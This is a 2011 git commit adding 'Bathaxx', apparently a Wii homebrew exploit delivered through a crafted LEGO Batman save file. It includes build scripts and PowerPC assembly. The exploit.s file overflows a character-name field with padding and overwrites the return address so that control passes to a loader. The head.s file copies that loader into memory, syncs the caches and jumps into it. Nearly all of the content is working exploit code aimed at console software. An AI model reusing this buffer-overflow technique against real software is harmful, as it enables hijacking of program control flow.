LEGO Batman^H^H^Hhaxx

This commit is contained in:
Bernhard Urban 2011-01-02 06:46:51 +01:00
parent 4d980dfebb
commit da886e2a72
21 changed files with 250 additions and 0 deletions

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@ -52,6 +52,7 @@ all: FORCE .version
$(Q)$(MAKE) -C loader
$(Q)$(MAKE) -C twilight
$(Q)$(MAKE) -C lego
$(Q)$(MAKE) -C batman
FORCE:
@ -60,3 +61,4 @@ clean:
$(MAKE) -C loader clean
$(MAKE) -C twilight clean
$(MAKE) -C lego clean
$(MAKE) -C batman clean

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batman/.gitignore vendored Normal file
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FILE_V28

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batman/Makefile Normal file
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# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
# Configuration:
# What toolchain prefix should we use
CROSS ?= broadway-
# Where are the tools (http://git.infradead.org/users/segher/wii.git)
TOOLS ?= $(HOME)/wii/segher
# End of configuration.
# Set CC, LD, OBJCOPY based on CROSS, unless they are set already
ifeq ($(origin CC), default)
CC := $(CROSS)gcc -m32
endif
ifeq ($(origin LD), default)
LD := $(CROSS)ld
endif
OBJCOPY ?= $(CROSS)objcopy
# The compiler flags we need.
CFLAGS := -Wall -W -Os -ffreestanding -mno-eabi -mno-sdata -mcpu=750
# Build with "V=1" to see the commands executed; be quiet otherwise.
ifeq ($(V),1)
Q :=
else
Q := @
MAKEFLAGS += --no-print-directory
endif
targets := rlbp.bin rlbj.bin rlbe.bin
ppms := $(targets:%.bin=%-icon.ppm) rlb-banner.ppm
assets := title.bin $(ppms)
loader := ../loader/loader.bin
titleid = $(shell perl titleid.pl $(1))
define twintig
D=$(call titleid,$(1)); \
$(TOOLS)/twintig $$D $@ toc-$1
endef
all: $(targets)
$(targets): %.bin: toc-% FILE_V28 $(assets)
@echo " TWINTIG $@"
$(Q)$(call twintig,$*)
FILE_V28: head.bin exploit.bin $(loader)
@echo " LEGOSTACK $@"
$(Q)./pack.sh $@ $^
$(Q)$(TOOLS)/lego-cksum $@
head.bin: head.elf
@echo " OBJCOPY $@"
$(Q)$(OBJCOPY) -Obinary $< $@
exploit.bin: exploit.elf
@echo " OBJCOPY $@"
$(Q)$(OBJCOPY) -Obinary $< $@
exploit.elf: lego.lds exploit.o
@echo " LINK $@"
$(Q)$(LD) -T $^ -o $@
head.elf: head.o
@echo " LINK $@"
$(Q)$(LD) -e 0 $< -o $@
exploit.o: exploit.s
@echo " ASSEMBLE $@"
$(Q)$(CC) $(CFLAGS) -c $< -o $@
head.o: head.s head.b
@echo " ASSEMBLE $@"
$(Q)$(CC) $(CFLAGS) -c $< -o $@
title.bin: ../.version
@echo " TITLEBIN $@"
$(Q)perl make-title-bin.pl > $@
../.version: FORCE
$(Q)$(MAKE) -C .. .version
$(ppms): %.ppm: %.png
@echo " PPM $@"
$(Q)convert $< $@
$(loader): FORCE
$(Q)$(MAKE) -C ../loader
FORCE:
clean:
-rm -f $(targets) FILE_V28
-rm -f exploit.bin exploit.elf exploit.o
-rm -f head.bin head.elf head.o
-rm -f title.bin

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# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
# Copyright 2011 Bernhard Urban <lewurm@gmail.com>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
.section .start,"ax"
retadr = 0x90394140
# The return addr for the nintendo loader is a bit different as for 3rd
# party loaders. In fact, it depends which value is set by the apploader at
# 0x8000002c:
# - 0x0: return address is 0x90394140 (some 3rd party loader, e.g. gecko os)
# - 0x23: return address is 0x90394000 (set by the sysmenu loader by nintendo)
# 0B ver: 0x90394100
# to make both work, we insert some no op's here
.fill (0x140/0x4), 4, 0x60000000
start:
# Set up a stack frame.
lis 1,0x8080 ; li 0,0 ; stwu 0,-64(1)
# Stop audio and video.
lis 0,audio_stop@h ; ori 0,0,audio_stop@l ; mtctr 0 ; bctrl
lis 0,video_stop@h ; ori 0,0,video_stop@l ; mtctr 0 ; bctrl
# Move code into place; a generous 32kB, starting at 64kB in
# the save file.
lis 3,main@h ; ori 3,3,main@l ; addi 5,3,-4
lis 4,(retadr-4)@h ; ori 4,4,(retadr-4)@l
# Calculate proper offset for the loader in memory
0: lbzu 0,4(4); cmpwi 0,0x60 ; beq 0b
addi 4,4,-4; addi 4,4,end-start
li 0,0x2000 ; mtctr 0
0: lwzu 0,4(4) ; stwu 0,4(5) ; bdnz 0b
# Sync caches on it.
li 0,0x0400 ; mtctr 0 ; mr 5,3
0: dcbst 0,5 ; sync ; icbi 0,5 ; addi 5,5,0x20 ; bdnz 0b
sync ; isync
# Go for it!
mtctr 3 ; bctr
end:

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# Copyright 2011 Bernhard Urban <lewurm@gmail.com>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
retadr = 0x90394140
0:
# stolen from some savegame found in teh intertube
.incbin "head.b"
# give the char a name
.ascii "you won't see this " # len = 0x14
# smash it \o/ 0x1f0+0x4 bytes all in all...
.fill (0xf4/4), 4, 0x11111111
# unlock the character (somewhere here actually...)
.fill (0x10/4), 4, 0x90c10104
# add more padding...
.fill (0xdc/4), 4, 0x11111111
# now we at the actual vuln return address
# just point to the loader of the loader (= content of exploit.s)
.long retadr
# alternatively you can put the code here too and jump into the stack,
# however then you have to take care for nullbytes in the resulting
# bytecode, which is a way too tedious. so we just take the further slot for
# it :-) (LEGO devs are nice ppl, heh)
.fill 0x10000 - (. - 0b)

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/* Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
This code is licensed to you under the terms of the GNU GPL, version 2;
see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */
OUTPUT_FORMAT("elf32-powerpc")
OUTPUT_ARCH(powerpc:common)
SECTIONS {
audio_stop = 0x8009cfa0;
video_stop = 0x800ab190;
main = 0x90000020;
.twilight 0x90394000:
{
rlb*.o(.start)
*(.text)
*(.rodata .rodata.*)
*(.data)
*(.bss)
}
}

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batman/make-title-bin.pl Executable file
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#!/usr/bin/perl
sub printline {
my $x = shift;
chomp $x;
$x .= "\0" x 32;
$x = substr $x, 0, 32;
$x =~ s/(.)/\0$1/g;
print $x;
}
$name = '"Bathaxx" by lewurm';
$version = `cat ../.version`;
printline $name;
printline $version;

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batman/pack.sh Executable file
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#!/bin/bash
TARGET=$1; shift
cat $* /dev/zero | dd bs=1024 count=128 2>/dev/null > $TARGET

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batman/titleid.pl Executable file
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#!/usr/bin/perl
print "00010000", map { sprintf "%02x", ord uc } split //, $ARGV[0];

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title.bin
rlb-banner.ppm
rlbe-icon.ppm
FILE_V28 FILE_V28

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title.bin
rlb-banner.ppm
rlbj-icon.ppm
FILE_V28 FILE_V28

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title.bin
rlb-banner.ppm
rlbp-icon.ppm
FILE_V28 FILE_V28